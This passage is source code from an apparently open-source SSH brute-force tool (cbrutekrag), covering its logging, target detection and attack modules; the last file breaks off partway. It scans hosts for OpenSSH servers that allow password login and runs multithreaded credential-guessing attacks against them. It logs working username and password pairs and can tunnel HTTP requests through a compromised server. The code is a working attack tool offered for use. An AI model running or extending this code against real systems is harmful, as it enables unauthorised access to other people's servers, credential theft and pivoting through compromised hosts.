Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include /* va_list, va_start, va_end */ 24 | #include /* fprintf, vfprintf, stderr */ 25 | #include /* strlen, malloc */ 26 | #include /* time_t, time, tm, localtime, strftime */ 27 | 28 | #include "cbrutekrag.h" /* CBRUTEKRAG_VERBOSE_MODE */ 29 | #include "log.h" 30 | #include "str.h" /* btkg_str_replace_placeholder */ 31 | 32 | /** Global verbosity level. */ 33 | static int g_verbose; 34 | 35 | #define TIMESTAMP_BUFFER_SIZE 20 36 | 37 | /** 38 | * @brief Get the current timestamp in the format YYYY/MM/DD HH:MM:SS. 39 | * 40 | * @return A pointer to a static buffer containing the timestamp. 41 | */ 42 | static inline const char *get_current_timestamp(void) 43 | { 44 | time_t t = time(NULL); 45 | struct tm *tm = localtime(&t); 46 | static char buffer[TIMESTAMP_BUFFER_SIZE]; 47 | 48 | buffer[strftime(buffer, sizeof(buffer), "%Y/%m/%d %H:%M:%S", tm)] = 49 | '\0'; 50 | 51 | return buffer; 52 | } 53 | 54 | /** 55 | * @brief Print formatted output to a specified stream with optional logging 56 | * information such as file and line number. 57 | * 58 | * @param level The logging level of the message (e.g., LOG_DEBUG). 59 | * @param file The source file from which the log is coming. 60 | * @param line The line number in the source file. 61 | * @param head A prefix string to be printed before the log message. 62 | * @param tail A suffix string to be printed after the log message. 63 | * @param stream The output stream (e.g., stdout or stderr). 64 | * @param format The format string for the log message. 65 | * @param ... Additional arguments for the format string. 66 | */ 67 | void print_output(int level, const char *file, int line, const char *head, 68 | const char *tail, FILE *stream, const char *format, ...) 69 | { 70 | if (level == LOG_DEBUG && !(g_verbose & CBRUTEKRAG_VERBOSE_MODE)) { 71 | return; 72 | } 73 | 74 | va_list arg; 75 | 76 | fprintf(stream, "\033[2K\r%s[%s] ", head, get_current_timestamp()); 77 | 78 | #ifndef DEBUG 79 | if (level == LOG_DEBUG) 80 | #endif 81 | fprintf(stream, "%s:%d ", file, line); 82 | 83 | va_start(arg, format); 84 | vfprintf(stream, format, arg); 85 | va_end(arg); 86 | fprintf(stream, "%s\n", tail); 87 | fflush(stream); 88 | } 89 | 90 | /** 91 | * @brief Print formatted output to a specified stream with the current timestamp. 92 | * 93 | * @param stream The output stream (e.g., stdout or stderr). 94 | * @param format The format string for the log message. 95 | * @param ... Additional arguments for the format string. 96 | */ 97 | void log_output(FILE *stream, const char *format, ...) 98 | { 99 | va_list arg; 100 | 101 | fprintf(stream, "%s ", get_current_timestamp()); 102 | 103 | va_start(arg, format); 104 | vfprintf(stream, format, arg); 105 | va_end(arg); 106 | fflush(stream); 107 | } 108 | 109 | /** 110 | * @brief Log a successful login attempt with detailed information such as 111 | * hostname, port, username, and password, formatted according to 112 | * a global output format string. 113 | * 114 | * @param stream The output stream (e.g., stdout or stderr). 115 | * @param hostname The hostname or IP address where the login was successful. 116 | * @param port The port number used in the login attempt. 117 | * @param username The username used in the login attempt. 118 | * @param password The password used in the login attempt. 119 | */ 120 | void btkg_log_successfull_login(FILE *stream, const char *format, 121 | const char *hostname, int port, 122 | const char *username, const char *password) 123 | { 124 | if (format == NULL) { 125 | log_error("bruteforce_output_format is NULL"); 126 | return; 127 | } 128 | 129 | int port_len = snprintf(NULL, 0, "%d", port); 130 | char strport[port_len + 1]; // +1 for the null terminator 131 | 132 | snprintf(strport, sizeof(strport), "%d", port); 133 | 134 | // Allocation 135 | size_t output_len = strlen(format) + 1; 136 | char *output = malloc(output_len); 137 | 138 | if (output == NULL) { 139 | log_error("Error allocating memory"); 140 | return; 141 | } 142 | 143 | snprintf(output, output_len, "%s", format); 144 | 145 | output = btkg_str_replace_placeholder(output, "%DATETIME%", 146 | get_current_timestamp()); 147 | if (output == NULL) 148 | goto error; 149 | 150 | output = btkg_str_replace_placeholder(output, "%HOSTNAME%", hostname); 151 | if (output == NULL) 152 | goto error; 153 | 154 | output = btkg_str_replace_placeholder(output, "%USERNAME%", username); 155 | if (output == NULL) 156 | goto error; 157 | 158 | output = btkg_str_replace_placeholder(output, "%PASSWORD%", password); 159 | if (output == NULL) 160 | goto error; 161 | 162 | output = btkg_str_replace_placeholder(output, "%PORT%", strport); 163 | if (output == NULL) 164 | goto error; 165 | 166 | // Print buffer 167 | fprintf(stream, "%s", output); 168 | free(output); 169 | fflush(stream); 170 | 171 | return; 172 | 173 | error: 174 | log_error("Error replacing placeholders"); 175 | free(output); 176 | } 177 | 178 | /** 179 | * @brief Log elegible target found with detailed information formatted 180 | * according to a global output format string. 181 | * 182 | * @param stream The output stream (e.g., stdout or stderr). 183 | * @param hostname The hostname or IP address where the login was successful. 184 | * @param port The port number used in the login attempt. 185 | * @param banner The server banner. 186 | * @param password The password used in the login attempt. 187 | */ 188 | void btkg_log_target_found(FILE *stream, const char *format, 189 | const char *hostname, int port, const char *banner) 190 | { 191 | if (format == NULL) { 192 | log_error("scanner_output_format is NULL"); 193 | return; 194 | } 195 | 196 | int port_len = snprintf(NULL, 0, "%d", port); 197 | char strport[port_len + 1]; // +1 for the null terminator 198 | 199 | snprintf(strport, sizeof(strport), "%d", port); 200 | 201 | // Allocation 202 | size_t output_len = strlen(format) + 1; 203 | char *output = malloc(output_len); 204 | 205 | if (output == NULL) { 206 | log_error("Error allocating memory"); 207 | return; 208 | } 209 | 210 | snprintf(output, output_len, "%s", format); 211 | 212 | output = btkg_str_replace_placeholder(output, "%DATETIME%", 213 | get_current_timestamp()); 214 | if (output == NULL) 215 | goto error; 216 | 217 | output = btkg_str_replace_placeholder(output, "%HOSTNAME%", hostname); 218 | if (output == NULL) 219 | goto error; 220 | 221 | output = btkg_str_replace_placeholder(output, "%PORT%", strport); 222 | if (output == NULL) 223 | goto error; 224 | 225 | output = btkg_str_replace_placeholder(output, "%BANNER%", banner); 226 | if (output == NULL) 227 | goto error; 228 | 229 | // Print buffer 230 | fprintf(stream, "%s", output); 231 | free(output); 232 | fflush(stream); 233 | 234 | return; 235 | 236 | error: 237 | log_error("Error replacing placeholders"); 238 | free(output); 239 | } 240 | 241 | /** 242 | * @brief Sets the logging verbosity level. 243 | * 244 | * This function sets the global logging verbosity level based on the given 245 | * level parameter. The verbosity level can be used to control the amount of 246 | * detail output in log messages. 247 | * 248 | * The verbosity level is typically a bitwise OR of different flags that 249 | * enable various levels of detail. For example, the following flags might 250 | * be combined: 251 | * - `CBRUTEKRAG_VERBOSE_MODE` (0x1): Enables basic verbose logging. 252 | * - `CBRUTEKRAG_VERBOSE_SSHLIB` (0x2): Enables verbose logging for the SSH library. 253 | * 254 | * Example usage: 255 | * @code 256 | * options->verbose |= CBRUTEKRAG_VERBOSE_MODE; 257 | * log_set_level(options->verbose); 258 | * @endcode 259 | * 260 | * @param level The verbosity level to set. This is typically a combination of 261 | * flags defined as bitwise values (e.g., `CBRUTEKRAG_VERBOSE_MODE`). 262 | */ 263 | void log_set_level(int level) 264 | { 265 | g_verbose = level; 266 | } 267 | -------------------------------------------------------------------------------- /src/detection.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifdef _WIN32 24 | #include 25 | #include 26 | #include 27 | #ifdef _MSC_VER 28 | #pragma comment(lib, "ws2_32.lib") 29 | #endif // _MSC_VER 30 | typedef int socklen_t; 31 | #else 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #endif 39 | 40 | #include 41 | #include 42 | #include 43 | 44 | #include 45 | #include 46 | 47 | #include "detection.h" 48 | #include "log.h" 49 | #include "target.h" 50 | 51 | #define BUF_SIZE 1024 52 | #define BANNER_LEN 256 53 | 54 | btkg_target_list_t filtered; 55 | static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 56 | 57 | /** 58 | * Detect login methods supported by the SSH server. 59 | * 60 | * This function tries to detect supported authentication methods on the SSH 61 | * server by checking if it allows user authentication with no credentials. 62 | * 63 | * @param session The SSH session to check. 64 | * @param hostname The hostname of the SSH server. 65 | * @param port The port of the SSH server. 66 | * 67 | * @return 0 if password authentication is supported, -1 otherwise. 68 | */ 69 | int detection_login_methods(ssh_session session, const char *hostname, int port) 70 | { 71 | int rc = 0; 72 | 73 | rc = ssh_userauth_none(session, NULL); 74 | 75 | if (rc == SSH_AUTH_SUCCESS) { 76 | log_debug( 77 | "[!] %s:%d - Server without authentication. (not eligible)", 78 | hostname, port); 79 | 80 | return -1; 81 | } 82 | 83 | if (rc == SSH_AUTH_ERROR) { 84 | log_debug( 85 | "[!] %s:%d - ssh_userauth_none(): A serious error happened. (not eligible)", 86 | hostname, port); 87 | 88 | return -1; 89 | } 90 | 91 | int method = ssh_userauth_list(session, NULL); 92 | 93 | if (method & (int)SSH_AUTH_METHOD_PASSWORD) { 94 | return 0; 95 | } 96 | 97 | return -1; 98 | } 99 | 100 | /** 101 | * Detect if the SSH service is running and if it supports 102 | * password authentication. 103 | * 104 | * This function connects to an SSH server and checks its banner and 105 | * authentication methods to determine if it's a valid SSH service and if 106 | * it supports password authentication. 107 | * 108 | * @param ctx The context containing options for detection. 109 | * @param hostname The hostname of the SSH server. 110 | * @param port The port of the SSH server. 111 | * @param tm The timeout for the SSH connection. 112 | * 113 | * @return 0 if the server is a valid SSH server with password authentication, 114 | * 1 if there is a connection error, -1 if the server does not meet 115 | * the criteria. 116 | */ 117 | int detection_detect_ssh(btkg_context_t *context, const char *hostname, 118 | uint16_t port, long tm) 119 | { 120 | int verbosity = 0; 121 | 122 | btkg_options_t *options = &context->options; 123 | 124 | if (options->verbose & CBRUTEKRAG_VERBOSE_SSHLIB) { 125 | verbosity = SSH_LOG_PROTOCOL; 126 | } else { 127 | verbosity = SSH_LOG_NOLOG; 128 | } 129 | 130 | ssh_session session = ssh_new(); 131 | 132 | if (session == NULL) { 133 | log_error("Cant create SSH session."); 134 | return -1; 135 | } 136 | 137 | ssh_options_set(session, SSH_OPTIONS_HOST, hostname); 138 | ssh_options_set(session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); 139 | ssh_options_set(session, SSH_OPTIONS_PORT, &(int){ port }); 140 | #if LIBSSH_VERSION_MAJOR > 0 || \ 141 | (LIBSSH_VERSION_MAJOR == 0 && LIBSSH_VERSION_MINOR >= 6) 142 | ssh_options_set(session, SSH_OPTIONS_KEY_EXCHANGE, "none"); 143 | ssh_options_set(session, SSH_OPTIONS_HOSTKEYS, "none"); 144 | #endif 145 | ssh_options_set(session, SSH_OPTIONS_TIMEOUT, &tm); 146 | ssh_options_set(session, SSH_OPTIONS_USER, NULL); 147 | 148 | int rc = ssh_connect(session); 149 | 150 | if (rc != SSH_OK) { 151 | if (options->verbose & CBRUTEKRAG_VERBOSE_MODE) { 152 | log_error("[!] Error connecting to %s:%d %s.", hostname, 153 | port, ssh_get_error(session)); 154 | } 155 | ssh_free(session); 156 | 157 | return 1; 158 | } 159 | 160 | log_debug("[+] %s:%d - Connected.", hostname, port); 161 | 162 | const char *banner = ssh_get_serverbanner(session); 163 | if (!banner) { 164 | log_debug("%s:%d - Error receiving banner!", hostname, port); 165 | 166 | ssh_disconnect(session); 167 | ssh_free(session); 168 | 169 | return -1; 170 | } 171 | 172 | if (strstr(banner, "SSH-") != banner) { 173 | log_warn( 174 | "[!] %s:%d - It's not a SSH server (tcpwrapped) skipping.", 175 | hostname, port); 176 | ssh_disconnect(session); 177 | ssh_free(session); 178 | 179 | return -1; 180 | } 181 | 182 | if (strstr(banner, "SSH-2.0-OpenSSH") != banner) { 183 | log_warn("[!] %s:%d - %s It's not a OpenSSH server", hostname, 184 | port, banner); 185 | 186 | if (options->non_openssh != 1) { 187 | ssh_disconnect(session); 188 | ssh_free(session); 189 | 190 | return -1; 191 | } 192 | } 193 | 194 | /* Check authentication methods */ 195 | rc = ssh_userauth_none(session, NULL); 196 | 197 | if (rc == SSH_AUTH_SUCCESS) { 198 | log_debug( 199 | "[!] %s:%d - Server without authentication. (not eligible)", 200 | hostname, port); 201 | ssh_disconnect(session); 202 | ssh_free(session); 203 | 204 | return -1; 205 | } 206 | 207 | if (rc == SSH_AUTH_ERROR) { 208 | log_debug( 209 | "[!] %s:%d - ssh_userauth_none(): A serious error happened. (not eligible)", 210 | hostname, port); 211 | ssh_disconnect(session); 212 | ssh_free(session); 213 | 214 | return -1; 215 | } 216 | 217 | if (detection_login_methods(session, hostname, port) != 0) { 218 | log_warn( 219 | "[!] %s:%d - %s The server doesn't accept password authentication method", 220 | hostname, port, banner); 221 | ssh_disconnect(session); 222 | ssh_free(session); 223 | 224 | return -1; 225 | } 226 | 227 | log_info("[+] %s:%d - %s", hostname, port, banner); 228 | 229 | if (context->scan_output != NULL) { 230 | btkg_log_target_found(context->scan_output, 231 | options->scanner_output_format, hostname, 232 | port, banner); 233 | } 234 | 235 | ssh_disconnect(session); 236 | ssh_free(session); 237 | 238 | return 0; 239 | } 240 | 241 | /** 242 | * Thread function to process detection for each target. 243 | * 244 | * This function processes targets from the target list, detects SSH services 245 | * and their authentication methods, and updates the filtered target list. 246 | * 247 | * @param ptr A pointer to a btkg_detection_args_t structure containing the 248 | * context and target list. 249 | * 250 | * @return NULL 251 | */ 252 | void *detection_process(void *ptr) 253 | { 254 | btkg_detection_args_t *args = (btkg_detection_args_t *)ptr; 255 | btkg_target_list_t *target_list = args->target_list; 256 | btkg_context_t *context = args->context; 257 | btkg_options_t *options = &context->options; 258 | 259 | for (;;) { 260 | pthread_mutex_lock(&context->lock); 261 | if (context->count >= target_list->length) { 262 | pthread_mutex_unlock(&context->lock); 263 | break; 264 | } 265 | btkg_target_t *current_target = 266 | &target_list->targets[context->count]; 267 | context->count++; 268 | pthread_mutex_unlock(&context->lock); 269 | 270 | if (options->dry_run) { 271 | pthread_mutex_lock(&mutex); 272 | btkg_target_list_append(&filtered, current_target); 273 | pthread_mutex_unlock(&mutex); 274 | continue; 275 | } 276 | 277 | if (detection_detect_ssh(context, current_target->host, 278 | current_target->port, 279 | options->timeout) == 0) { 280 | pthread_mutex_lock(&mutex); 281 | btkg_target_list_append(&filtered, current_target); 282 | pthread_mutex_unlock(&mutex); 283 | } 284 | } 285 | 286 | return NULL; 287 | } 288 | 289 | /** 290 | * Start the detection process with multiple threads. 291 | * 292 | * This function initializes and starts multiple threads to process the target 293 | * list and detect SSH services. It waits for all threads to complete before 294 | * updating the target list with the results. 295 | * 296 | * @param context The context containing options for the detection. 297 | * @param source The source target list to process. 298 | * @param targets The target list to store the results. 299 | * @param max_threads The maximum number of threads to use. 300 | */ 301 | void detection_start(btkg_context_t *context, btkg_target_list_t *source, 302 | btkg_target_list_t *targets, size_t max_threads) 303 | { 304 | btkg_target_list_init(&filtered); 305 | btkg_detection_args_t args; 306 | 307 | memset(&args, 0, sizeof(btkg_detection_args_t)); 308 | args.context = context; 309 | args.target_list = source; 310 | 311 | pthread_t scan_threads[max_threads]; 312 | int ret; 313 | 314 | for (size_t i = 0; i < max_threads; i++) { 315 | log_debug("Creating thread: %ld", i); 316 | if ((ret = pthread_create(&scan_threads[i], NULL, 317 | *detection_process, (void *)&args))) { 318 | log_error("Thread creation failed: %d\n", ret); 319 | } 320 | } 321 | 322 | for (size_t i = 0; i < max_threads; i++) { 323 | ret = pthread_join(scan_threads[i], NULL); 324 | if (ret != 0) { 325 | log_error("Cannot join thread no: %d\n", ret); 326 | } 327 | } 328 | 329 | *targets = filtered; 330 | } 331 | -------------------------------------------------------------------------------- /src/bruteforce_ssh.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #include 28 | #include 29 | 30 | #include "cbrutekrag.h" 31 | #include "log.h" 32 | 33 | /** 34 | * Attempt to brute-force SSH login using the provided credentials. 35 | * 36 | * This function tries to log in to the SSH server using the specified hostname, 37 | * port, username, and password. It performs the brute-force attempt and handles 38 | * any related errors. 39 | * 40 | * @param context The context containing options and configurations for brute-force. 41 | * @param hostname The hostname of the SSH server. 42 | * @param port The port of the SSH server. 43 | * @param username The username to use for the login attempt. 44 | * @param password The password to use for the login attempt. 45 | * 46 | * @return 0 on success, non-zero on failure. 47 | */ 48 | int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, 49 | uint16_t port, const char *username, 50 | const char *password) 51 | { 52 | ssh_session session; 53 | int verbosity = 0; 54 | btkg_options_t *options = &context->options; 55 | 56 | if (options->verbose & CBRUTEKRAG_VERBOSE_SSHLIB) { 57 | verbosity = SSH_LOG_PROTOCOL; 58 | } else { 59 | verbosity = SSH_LOG_NOLOG; 60 | } 61 | 62 | session = ssh_new(); 63 | 64 | if (session == NULL) { 65 | log_error("Cant create SSH session."); 66 | 67 | return -1; 68 | } 69 | 70 | int timeout = options->timeout; 71 | 72 | ssh_options_set(session, SSH_OPTIONS_HOST, hostname); 73 | ssh_options_set(session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); 74 | ssh_options_set(session, SSH_OPTIONS_PORT, &(int){ port }); 75 | #if LIBSSH_VERSION_MAYOR > 0 || \ 76 | (LIBSSH_VERSION_MAYOR == 0 && LIBSSH_VERSION_MINOR >= 6) 77 | ssh_options_set(session, SSH_OPTIONS_KEY_EXCHANGE, "none"); 78 | ssh_options_set(session, SSH_OPTIONS_HOSTKEYS, "none"); 79 | #endif 80 | ssh_options_set(session, SSH_OPTIONS_TIMEOUT, &timeout); 81 | ssh_options_set(session, SSH_OPTIONS_USER, username); 82 | 83 | int r; 84 | r = ssh_connect(session); 85 | if (r != SSH_OK) { 86 | if (options->verbose & CBRUTEKRAG_VERBOSE_MODE) { 87 | log_error("[!] Error connecting to %s:%d %s.", hostname, 88 | port, ssh_get_error(session)); 89 | } 90 | ssh_free(session); 91 | 92 | return -1; 93 | } 94 | 95 | r = ssh_userauth_none(session, NULL); 96 | 97 | if (r == SSH_AUTH_SUCCESS) { 98 | log_debug("[!] %s:%d - Server without authentication.", 99 | hostname, port); 100 | ssh_disconnect(session); 101 | ssh_free(session); 102 | 103 | return -1; 104 | } 105 | 106 | if (r == SSH_AUTH_ERROR) { 107 | log_debug( 108 | "[!] %s:%d - ssh_userauth_none(): A serious error happened.", 109 | hostname, port); 110 | ssh_disconnect(session); 111 | ssh_free(session); 112 | 113 | return -1; 114 | } 115 | 116 | int method = ssh_userauth_list(session, NULL); 117 | 118 | if (method & (int)SSH_AUTH_METHOD_PASSWORD) { 119 | r = ssh_userauth_password(session, NULL, password); 120 | if (r == SSH_AUTH_SUCCESS) { 121 | /* Credentials accepted */ 122 | 123 | if (options->check_http != NULL) { 124 | // Open a new channel 125 | ssh_channel channel = ssh_channel_new(session); 126 | if (channel == NULL) { 127 | log_error("Error ssh_channel_new: %s", 128 | ssh_get_error(session)); 129 | ssh_disconnect(session); 130 | ssh_free(session); 131 | 132 | return -2; 133 | } 134 | 135 | // Open a "direct-tcpip" channel to the HTTP server through the SSH server 136 | log_debug("%s:%d %s %s - Opening tunnel...", 137 | hostname, port, username, password); 138 | r = ssh_channel_open_forward( 139 | channel, options->check_http, 80, 140 | "localhost", 0); 141 | if (r != SSH_OK) { 142 | log_error( 143 | "Error ssh_channel_open_forward: %s", 144 | ssh_get_error(session)); 145 | if (channel) { 146 | ssh_channel_close(channel); 147 | ssh_channel_free(channel); 148 | } 149 | ssh_disconnect(session); 150 | ssh_free(session); 151 | 152 | return -3; 153 | } 154 | 155 | char buffer[1024]; 156 | int nbytes; 157 | 158 | snprintf(buffer, sizeof(buffer), 159 | "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", 160 | options->check_http); 161 | 162 | // Send HTTP request through the channel 163 | r = ssh_channel_write(channel, buffer, 164 | (uint32_t)strlen(buffer)); 165 | if (r == SSH_ERROR) { 166 | log_error("Error ssh_channel_write: %s", 167 | ssh_get_error(session)); 168 | if (channel) { 169 | ssh_channel_close(channel); 170 | ssh_channel_free(channel); 171 | } 172 | ssh_disconnect(session); 173 | ssh_free(session); 174 | 175 | return -4; 176 | } 177 | 178 | // Read HTTP response from the channel 179 | nbytes = ssh_channel_read(channel, buffer, 180 | sizeof(buffer), 0); 181 | 182 | if (nbytes == 0) { 183 | log_warn( 184 | "%s:%d %s %s - http-check empty response", 185 | hostname, port, username, 186 | password); 187 | if (channel) { 188 | ssh_channel_close(channel); 189 | ssh_channel_free(channel); 190 | } 191 | ssh_disconnect(session); 192 | ssh_free(session); 193 | 194 | return -6; 195 | } 196 | 197 | if (nbytes < 0) { 198 | log_error("Error ssh_channel_read: %s", 199 | ssh_get_error(session)); 200 | if (channel) { 201 | ssh_channel_close(channel); 202 | ssh_channel_free(channel); 203 | } 204 | ssh_disconnect(session); 205 | ssh_free(session); 206 | 207 | return -5; 208 | } 209 | } 210 | ssh_disconnect(session); 211 | ssh_free(session); 212 | 213 | return 0; 214 | } 215 | } 216 | 217 | ssh_disconnect(session); 218 | ssh_free(session); 219 | return -1; 220 | } 221 | 222 | /** 223 | * Try to log in to an SSH server with the specified credentials. 224 | * 225 | * This function tries a single login attempt using the provided credentials and 226 | * returns the result of the attempt. 227 | * 228 | * @param context The context containing options and configurations for brute-force. 229 | * @param hostname The hostname of the SSH server. 230 | * @param port The port of the SSH server. 231 | * @param username The username to use for the login attempt. 232 | * @param password The password to use for the login attempt. 233 | * 234 | * @return 0 on success, non-zero on failure. 235 | */ 236 | int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname, 237 | const uint16_t port, const char *username, 238 | const char *password) 239 | { 240 | const char *_password = 241 | strcmp(password, "$TARGET") == 0 ? hostname : password; 242 | const char *_username = 243 | strcmp(username, "$TARGET") == 0 ? hostname : username; 244 | 245 | int ret = bruteforce_ssh_login(context, hostname, port, _username, 246 | _password); 247 | 248 | if (ret == 0) { 249 | log_info("\033[32m[+]\033[0m %s:%d %s %s", hostname, port, 250 | _username, _password); 251 | if (context->output != NULL) { 252 | btkg_log_successfull_login( 253 | context->output, 254 | context->options.bruteforce_output_format, 255 | hostname, port, _username, _password); 256 | } 257 | } else { 258 | log_debug("\033[38m[-]\033[0m %s:%d %s %s", hostname, port, 259 | _username, _password); 260 | } 261 | 262 | return ret; 263 | } 264 | 265 | /** 266 | * Worker function for brute-force SSH login attempts. 267 | * 268 | * This function is executed by each worker thread to perform brute-force SSH login attempts 269 | * on the specified targets using the provided credentials. 270 | * 271 | * @param ptr Pointer to the context containing targets, credentials, and options. 272 | * 273 | * @return NULL when the worker completes its task. 274 | */ 275 | static void *btkg_bruteforce_worker(void *ptr) 276 | { 277 | btkg_context_t *context = (btkg_context_t *)ptr; 278 | btkg_target_list_t *targets = &context->targets; 279 | btkg_credentials_list_t *credentials = &context->credentials; 280 | btkg_options_t *options = &context->options; 281 | 282 | for (;;) { 283 | pthread_mutex_lock(&context->lock); 284 | if (context->targets_idx >= targets->length) { 285 | context->targets_idx = 0; 286 | context->credentials_idx++; 287 | } 288 | if (context->credentials_idx >= credentials->length) { 289 | // Llegamos al final 290 | log_debug("No work to do. Stopping thread..."); 291 | pthread_mutex_unlock(&context->lock); 292 | break; 293 | } 294 | 295 | btkg_target_t *target = 296 | &targets->targets[context->targets_idx++]; 297 | btkg_credentials_t *combo = 298 | &credentials->credentials[context->credentials_idx]; 299 | context->count++; 300 | 301 | pthread_mutex_unlock(&context->lock); 302 | 303 | if (!options->dry_run) { 304 | int ret = bruteforce_ssh_try_login( 305 | context, target->host, target->port, 306 | combo->username, combo->password); 307 | if (ret == 0) { 308 | pthread_mutex_lock(&context->lock); 309 | context->successful++; 310 | pthread_mutex_unlock(&context->lock); 311 | } 312 | } else { 313 | log_debug("\033[38m[-]\033[0m %s:%d %s %s", 314 | target->host, target->port, combo->username, 315 | combo->password); 316 | } 317 | } 318 | 319 | return NULL; 320 | } 321 | 322 | /** 323 | * Start the brute-force SSH login process. 324 | * 325 | * This function initializes and starts the brute-force process, including setting 326 | * up necessary threads and handling the brute-force attack. 327 | * 328 | * @param context The context containing options and configurations for brute-force. 329 | */ 330 | void btkg_bruteforce_start(btkg_context_t *context) 331 | { 332 | btkg_options_t *options = &context->options; 333 | 334 | pthread_t scan_threads[options->max_threads]; 335 | int ret; 336 | 337 | for (size_t i = 0; i < options->max_threads; i++) { 338 | log_debug("Creating thread: %ld", i); 339 | if ((ret = pthread_create(&scan_threads[i], NULL, 340 | *btkg_bruteforce_worker, 341 | (void *)context))) { 342 | log_error("Thread creation failed: %d\n", ret); 343 | } 344 | } 345 | 346 | for (size_t i = 0; i < options->max_threads; i++) { 347 | ret = pthread_join(scan_threads[i], NULL); 348 | if (ret != 0) { 349 | log_error("Cannot join thread no: %d\n", ret); 350 | } 351 | } 352 | } 353 | -------------------------------------------------------------------------------- /src/cbrutekrag.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include /* clock */ 30 | 31 | #ifdef _WIN32 32 | #include 33 | #include 34 | #else 35 | #include /* backtrace, backtrace_symbols_fd */ 36 | #include 37 | #include /* rlimit */ 38 | #include /* waitpid */ 39 | #include /* STDERR_FILENO */ 40 | #endif 41 | 42 | #include 43 | 44 | #include "bruteforce_ssh.h" 45 | #include "cbrutekrag.h" 46 | #include "credentials.h" 47 | #include "detection.h" 48 | #include "log.h" 49 | #include "progress.h" 50 | #include "str.h" 51 | #include "target.h" 52 | 53 | #define OPTIONAL_ARGUMENT_IS_PRESENT \ 54 | ((optarg == NULL && optind < argc && argv[optind][0] != '-') ? 